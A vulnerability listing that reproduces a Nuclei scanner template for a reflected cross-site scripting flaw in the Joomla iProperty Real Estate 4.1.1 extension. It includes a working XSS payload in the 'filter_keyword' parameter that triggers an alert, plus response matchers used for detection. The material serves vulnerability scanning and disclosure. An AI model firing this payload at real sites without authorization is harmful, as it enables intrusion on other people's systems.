joomla-iproperty-xss: Joomla iProperty Real Estate 4.1.1 - Cross-Site Scripting

漏洞描述

Joomla extension iproperty is vulnerable to XSS in GET parameter 'filter_keyword'.

PoC代码[已公开]

id: joomla-iproperty-xss

info:
  name: Joomla iProperty Real Estate 4.1.1 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Joomla extension iproperty is vulnerable to XSS in GET parameter 'filter_keyword'.
  reference:
    - https://www.exploit-db.com/exploits/51640
    - https://cxsecurity.com/issue/WLB-2023070076
    - https://extensions.joomla.org/extension/vertical-markets/real-estate/iproperty/
  metadata:
    verified: true
    max-request: 1
  tags: joomla,xss,unauth,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/iproperty/property-views/all-properties-with-map?filter_keyword=pihil%22onmouseover=%22alert(document.domain)%22style=%22position:absolute;width:100%;height:100%;top:0;left:0;%22f63m4&option=com_iproperty&view=allproperties&ipquicksearch=1"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'onmouseover="alert(document.domain)"style='
          - 'real estate'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502210099df7d29c95c6e8a2b4f1543fd6f69becfb817838b0042330065f7f86c47b41602202cca1381089377c21d156ea6350632a4e476ca9552962c480e872f31c21b601f:922c64590222798bb761d5b6d8e72950

来源: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/joomla/joomla-iproperty-real-estate-xss.yaml